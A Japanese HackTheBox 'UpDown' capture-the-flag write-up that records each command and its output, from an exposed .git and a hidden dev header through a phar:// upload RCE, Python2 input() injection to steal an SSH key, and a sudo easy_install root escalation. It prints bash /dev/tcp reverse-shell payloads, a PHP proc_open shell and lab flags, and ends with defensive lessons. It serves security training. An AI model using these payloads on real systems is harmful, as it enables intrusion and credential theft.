HackTheBox: UpDown — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp ssh, 80/tcp http
→
22/tcp ssh, 80/tcp http
.git 露出
git-dumper で .htaccess/checker.php 入手
→
git-dumper で .htaccess/checker.php 入手
Special-Devヘッダー
dev.siteisup.htb (beta) へアクセス
→
dev.siteisup.htb (beta) へアクセス
phar:// アップロードRCE
ZIP+拡張子偽装で checker.php ブラックリスト回避
→
ZIP+拡張子偽装で checker.php ブラックリスト回避
SUID Python2 input()
__import__(‘os’).system(…) 注入
→
__import__(‘os’).system(…) 注入
developer シェル
user.txt ✓
→
user.txt ✓
sudo NOPASSWD easy_install
GTFOBins(特権を drop しない)
→
GTFOBins(特権を drop しない)
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン(全ポート)
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.227.227
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 136.69 seconds
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,80 10.129.227.227
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA) | 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA) |_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519) 80/tcp open http Apache httpd 2.4.41 (Ubuntu) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Is my Website up ? Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Webサイトの確認 & hosts登録
BASH
curl -sI http://10.129.227.227
RESULT
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
BASH
echo "10.129.227.227 siteisup.htb" | sudo tee -a /etc/hosts
ℹ️
トップページのタイトル・フッターに
siteisup.htb というドメイン名が確認できたため、
/etc/hosts に追記してバーチャルホスト単位でアクセスできるようにする。
トップページは URL チェックフォーム(”Is My Website UP ?”)で、Debug モードを有効にすると
サーバー側が発行した生の HTTP リクエスト/レスポンスをそのままエコーする挙動が確認できる。
PHASE 2
.git 露出調査 — ヘッダー制限バイパスの発見
ディレクトリ列挙 & .git 露出確認
BASH
gobuster dir -u http://siteisup.htb/ -w /usr/share/wordlists/dirbuster/common.txt gobuster dir -u http://siteisup.htb/dev -w /usr/share/wordlists/dirbuster/common.txt
RESULT
/dev (Status: 301)
/index.php (Status: 200)
--- /dev 配下を再列挙 ---
/.git/HEAD (Status: 200) [Size: 21]
/.htaccess (Status: 403)
BASH
curl -s -o /dev/null -w "%{http_code}\n" http://siteisup.htb/dev/.git/HEAD
RESULT
200
🚨
重要発見:
/dev/.git/ ディレクトリが外部から読み取り可能な状態で露出している。
git-dumper でリポジトリ全体を復元できる。
git-dumper でリポジトリを復元
BASH
git-dumper http://siteisup.htb/dev/.git dev_git_dump
RESULT
[-] Fetching http://siteisup.htb/dev/.git/HEAD [200] [-] Fetching http://siteisup.htb/dev/.git/refs/heads/main [200] [-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40c...pack [200] [-] Sanitizing .git/config [-] Running git checkout . Updated 6 paths from the index
BASH
ls -la dev_git_dump/
RESULT
.htaccess admin.php changelog.txt checker.php index.php stylesheet.css
.htaccess — 隠しヘッダー要件の発見
BASH
cat dev_git_dump/.htaccess
RESULT
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
✅
/dev ディレクトリへのアクセスには HTTP ヘッダー Special-Dev: only4dev
が必須であることが判明。このヘッダーを付与すれば 403 を回避して開発用サブサイトへアクセスできる。
Special-Dev ヘッダーで dev.siteisup.htb (beta) にアクセス
BASH
echo "10.129.227.227 dev.siteisup.htb" | sudo tee -a /etc/hosts
curl -s -o /dev/null -w "%{http_code}\n" http://dev.siteisup.htb/
curl -s -o /dev/null -w "%{http_code}\n" -H "Special-Dev: only4dev" http://dev.siteisup.htb/
RESULT
ヘッダーなし: 403 ヘッダーあり: 200 ← "Is my Website up ? (beta version)" 表示
ℹ️
beta サイトはトップページと違い、URLではなくファイルアップロードで
チェック対象サイト一覧を渡す仕様になっている(
checker.php)。
PHASE 3
アップロード機能解析 — checker.php ブラックリスト & phar:// トリガー
checker.php のアップロードロジック確認
BASH
cat dev_git_dump/checker.php
RESULT (抜粋)
if ($_FILES['file']['size'] > 10000) { die("File too large!"); }
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
$dir = "uploads/".md5(time())."/";
...
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
...
@unlink($final_path); // チェック完了後に削除される
🚨
脆弱性:
.php/.zip 等はブラックリストされているが、
.phar は見落とされている。ZIP を作成して .txt に
リネームしてアップロードすれば拡張子チェックを回避しつつ、phar:// ラッパー経由で
アーカイブ内の PHP を実行できる。アップロード先ディレクトリ名は md5(time()) であり
レスポンスの Date ヘッダーから逆算できる。アップロードされたファイルは処理完了後に
unlink() されるため、時間との勝負になる点にも注意。
phpinfo() ペイロードを ZIP+拡張子偽装でアップロード
BASH
echo '<?php phpinfo(); ?>' > info.php zip -j info.zip info.php mv info.zip info.txt curl -s -D - -o /dev/null \ -F "file=@info.txt;type=text/plain" -F "check=1" \ -H "Special-Dev: only4dev" http://dev.siteisup.htb/
RESULT
HTTP/1.0 500 Internal Server Error
Date: Mon, 24 Aug 2026 15:32:27 GMT
アップロード先ディレクトリの特定(Date ヘッダーから逆算)
BASH
EPOCH=$(date -d "Mon, 24 Aug 2026 15:32:27 GMT" +%s)
for d in -3 -2 -1 0 1 2 3; do
CAND=$(echo -n "$((EPOCH+d))" | md5sum | cut -d' ' -f1)
curl -s -o /dev/null -w "delta=$d %{http_code}\n" \
-H "Special-Dev: only4dev" "http://dev.siteisup.htb/uploads/$CAND/info.txt"
done
RESULT
delta=-3 404
delta=-2 404
delta=-1 404
delta=0 200 ← uploads/cd578700c9618bfffa747a8e75f728a5/info.txt
delta=1 404
delta=2 404
delta=3 404
ℹ️
レスポンスの
Date ヘッダーはサーバー処理完了時点のものなので、
md5(time()) 計算時点との誤差(±数秒)を考慮して複数候補を総当たりする。
phar:// ラッパーでトリガー & PHP 実行環境の確認
BASH
curl -s -H "Special-Dev: only4dev" \ "http://dev.siteisup.htb/?page=phar://uploads/cd578700c9618bfffa747a8e75f728a5/info.txt/info"
RESULT (phpinfo 抜粋)
PHP Version 8.0.20 System: Linux updown 5.4.0-122-generic ... x86_64 disable_functions: system, exec, shell_exec, popen, passthru, pcntl_*, stream_socket_client, fsockopen, dl, symlink, ... (proc_open は disable_functions に含まれていない)
✅
RCE 成立を確認。
page=phar://uploads/<dir>/<txt名>/<内部ファイル名(拡張子なし)>
で ZIP アーカイブ内の PHP が実行される。system()/exec()/shell_exec()/popen()
は disable_functions で無効化されているが、proc_open() は有効なため、
これを使ってリバースシェルを確立する。
PHASE 4
エクスプロイト実行 & user.txt 取得
proc_open ベースのリバースシェルペイロード作成
PYTHON (rev.php)
<?php
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'a')
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.15.201/19050 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes, null, null);
?>
BASH
zip -j rev.zip rev.php mv rev.zip rev.txt curl -s -D - -o /dev/null -F "file=@rev.txt;type=text/plain" -F "check=1" \ -H "Special-Dev: only4dev" http://dev.siteisup.htb/ # → Date ヘッダーから uploads/e3fd488a8dccb63fd7f82395696f4aec/ を特定(3-3 と同じ手順)
リスナー起動 & phar:// トリガーでシェル獲得
BASH
# ターミナル1 nc -lnvp 19050 # ターミナル2 curl -s -H "Special-Dev: only4dev" \ "http://dev.siteisup.htb/?page=phar://uploads/e3fd488a8dccb63fd7f82395696f4aec/rev.txt/rev"
RESULT (nc リスナー側)
listening on [any] 19050 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.227.227] 51460 bash: cannot set terminal process group (895): Inappropriate ioctl for device bash: no job control in this shell www-data@updown:/var/www/dev$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
www-data シェル取得成功!
SUID バイナリの発見
BASH
cat /etc/passwd | grep -v -e false -e nologin -e sync cd /home/developer/dev && ls -l
RESULT
root:x:0:0:root:/root:/bin/bash developer:x:1002:1002::/home/developer:/bin/bash total 24 -rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisup -rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.py
ℹ️
siteisup_test.py のソース: input() でURLを受け取り
requests.get(url) するだけの Python2 スクリプト。siteisup は
これを埋め込んだ SUID (developer 所有) バイナリ。Python2 の input() は
受け取った文字列を そのまま eval() 相当で評価するという重大な既知の危険仕様がある。
Python2 input() コードインジェクション → SSH 秘密鍵窃取
BASH
echo "__import__('os').system('cat /home/developer/.ssh/id_rsa > /tmp/.mk_key; chmod 644 /tmp/.mk_key')" \
| /home/developer/dev/siteisup >/dev/null 2>&1
cat /tmp/.mk_key 2>/dev/null
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmvB40TWM8eu0n6FOzixTA1pQ39SpwYyrYCjKrDtp8g5E05EEcJw/
S1qi9PFoNvzkt7Uy3++6xDd95ugAdtuRL7qzA03xSNkqnt2HgjKAPOr6ctIvMDph8JeBF2
... (省略) ...
N4jA+ppn1+3e0AAAASZGV2ZWxvcGVyQHNpdGVpc3VwAQ==
-----END OPENSSH PRIVATE KEY-----
⚠️
input() がURLの代わりに __import__('os').system(...) という
Python 式を受け取り、そのまま developer 権限(SUID)で実行してしまう。
これにより developer の SSH 秘密鍵を /tmp にコピーして読み出す。
SSH ログイン & user.txt 取得
BASH
chmod 600 developer_id_rsa ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa \ -i developer_id_rsa developer@10.129.227.227 "id; cat ~/user.txt"
RESULT
uid=1002(developer) gid=1002(developer) groups=1002(developer) b79b23fa201bfaa2d04da7fcc4e2714c
user.txt — developer@updown
b79b23fa201bfaa2d04da7fcc4e2714c
PHASE 5
権限昇格の下調べ — sudo 権限の確認
sudo -l で developer の sudo 権限を確認
BASH
ssh -i developer_id_rsa developer@10.129.227.227 "sudo -l"
RESULT
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:...
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
🚨
重要発見: developer はパスワードなしで
easy_install を
sudo 実行できる。GTFOBins
によれば、easy_install(廃止予定の Python パッケージインストーラ)は sudo 経由で
実行されても実効権限を drop しないため、任意コードを root として実行できる。
PHASE 6
sudo easy_install (GTFOBins) → root.txt
easy_install に読ませる悪意ある setup.py を用意
NOTE
GTFOBins の PoC は対話的な PoC (`sh <$(tty) >$(tty) 2>$(tty)`) を前提としているが、 本検証では SSH のワンショットコマンド経由で完結させるため、setup.py に 非対話のリバースシェル (os.system 経由) を仕込む形に変更している。
BASH
ssh -i developer_id_rsa developer@10.129.227.227 \ 'TF=$(mktemp -d) && \ echo "import os; os.system(\"bash -c \\\"bash -i >& /dev/tcp/10.10.15.201/19053 0>&1\\\"\")" > $TF/setup.py && \ sudo easy_install $TF'
昇格用リスナーで root シェルを確立
BASH
# 事前に別ターミナルでリスナーを起動しておく nc -lnvp 19053
RESULT (ssh側)
Processing tmp.cJRJTYDXvd Writing /tmp/tmp.cJRJTYDXvd/setup.cfg Running setup.py -q bdist_egg --dist-dir /tmp/tmp.cJRJTYDXvd/egg-dist-tmp-uNxOHa WARNING: The easy_install command is deprecated and will be removed in a future version.
RESULT (nc リスナー側)
listening on [any] 19053 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.227.227] 40382 bash: cannot set terminal process group (2505): Inappropriate ioctl for device bash: no job control in this shell root@updown:/tmp/tmp.cJRJTYDXvd# id uid=0(root) gid=0(root) groups=0(root)
✅
root 昇格成功!
sudo easy_install は setup.py の
bdist_egg ビルド処理中に os.system() を実行し、これが
root の実効権限のまま動作するためリバースシェルが root として確立される。
root.txt 取得
BASH
root@updown:/tmp/tmp.cJRJTYDXvd# cat /root/root.txt
RESULT
4fa8d63de41349514f54d969f9f9865f
root.txt — root@updown
4fa8d63de41349514f54d969f9f9865f
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — developer@updown
b79b23fa201bfaa2d04da7fcc4e2714c
root.txt — root@updown
4fa8d63de41349514f54d969f9f9865f
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| .git 露出 | siteisup.htb/dev/.git | ソースコード・設定漏洩(隠しヘッダー要件の発覚) | Medium | git-dumper で復元した .htaccess から Special-Dev ヘッダー要件を特定し、非公開の dev vhost へアクセス |
| 拡張子ブラックリスト不備 + phar:// LFI-to-RCE | checker.php アップロード機能 | リモートコード実行(www-data) | Critical | .phar 拡張子の見落としを ZIP+.txt リネームで悪用し、phar:// ラッパー経由で proc_open() リバースシェル |
| Python2 input() コードインジェクション | SUID バイナリ siteisup (developer所有) | developer への権限昇格(SSH秘密鍵窃取) | Critical | input() が受け取った文字列を eval() 相当で評価する既知の危険仕様を悪用し os.system() を注入 |
| sudo easy_install(特権を drop しない) | /usr/local/bin/easy_install (NOPASSWD) | 権限昇格(root) | High | GTFOBins: easy_install は sudo 経由でも実効権限を落とさないため setup.py 経由で任意コード実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 22/80、”Is my Website up ?” 検出 |
| 2 | .git露出調査 | gobuster + git-dumper | Special-Dev ヘッダー要件、checker.php ソース |
| 3 | アップロード解析 | phpinfo() 検証 + Date ヘッダー逆算 | proc_open() が唯一有効なコード実行手段と判明 |
| 4 | エクスプロイト | ZIP偽装アップロード + phar:// RCE + SUID input()注入 | user.txt 取得(developer シェル + SSH鍵) |
| 5 | 権限調査 | sudo -l | NOPASSWD easy_install を確認 |
| 6 | 権限昇格 | GTFOBins easy_install | root.txt 取得(root シェル) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 本番サーバー上に .git ディレクトリがデプロイされ外部から読み取り可能だった | デプロイパイプラインで .git をドキュメントルート外に置くか、Web サーバー設定で明示的にブロックする。CI/CD で .git 露出を検査するステップを追加する。 |
| ファイルアップロード機能の拡張子ブラックリストに .phar が含まれていなかった | ブラックリストではなくホワイトリスト方式で許可拡張子を管理する。アップロードディレクトリを Web 実行不可(PHP実行無効)に設定する。 |
| SUID バイナリが Python2 の危険な input() 関数を使用していた | Python2 のサポート終了に伴い Python3 へ移行する(Python3 の input() は評価しない安全な実装)。SUID バイナリには外部入力を一切信頼しない設計を徹底する。 |
| 非管理者ユーザーが sudo 経由で easy_install を無制限に実行できた | GTFOBins に該当するバイナリ(easy_install, pip, python 等)を sudoers に安易に登録しない。どうしても必要な場合は実行可能な引数を厳密に制限する。 |

